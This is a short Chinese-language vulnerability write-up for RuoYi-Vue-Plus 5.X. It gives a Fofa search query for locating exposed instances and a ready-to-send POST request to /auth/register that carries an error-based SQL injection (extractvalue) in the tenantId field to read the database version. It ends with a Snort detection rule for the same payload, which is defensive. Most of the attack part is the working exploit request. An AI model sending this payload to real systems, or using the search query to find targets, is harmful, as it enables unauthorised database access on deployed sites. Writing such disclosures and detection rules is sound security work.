影响版本

RuoYi-Vue-Plus 5.X 系列版本

漏洞复现

Fofa: body="RuoYi-Vue-Plus后台管理框架"

POC/EXP：

step1 extractvalue报错注入

POST /auth/register HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Connection: keep-alive
Content-Type: application/json

{ 
  "clientId": "e5cd7e4891bf95d1d19206ce24a7b32e",
  "grantType": "password",
  "tenantId": "x' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1",
  "username": "test",
  "password": "test123"
}
image-20260823180751-5xvqg1m.png

sonrt规则：

alert tcp any any -> $HOME_NET any (
    msg:"RuoYi-Vue-Plus 5.X - tenant_id SQL注入漏洞 (报错注入 extractvalue)";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/auth/register"; fast_pattern;
    http.content_type; content:"application/json";
    http.request_body; content:"\"tenantId\""; nocase;
    http.request_body; pcre:"/\"tenantId\"\s*:\s*\"[^\"]*?(?:extractvalue|updatexml)\s*\(/i";
    metadata:
        service http,
        affected_product "RuoYi-Vue-Plus 5.X",
        vulnerability_type "SQL Injection (Error-based)",
        severity "critical";
    classtype:web-application-attack;
    sid:1000732;
    rev:1;
    priority:1;
)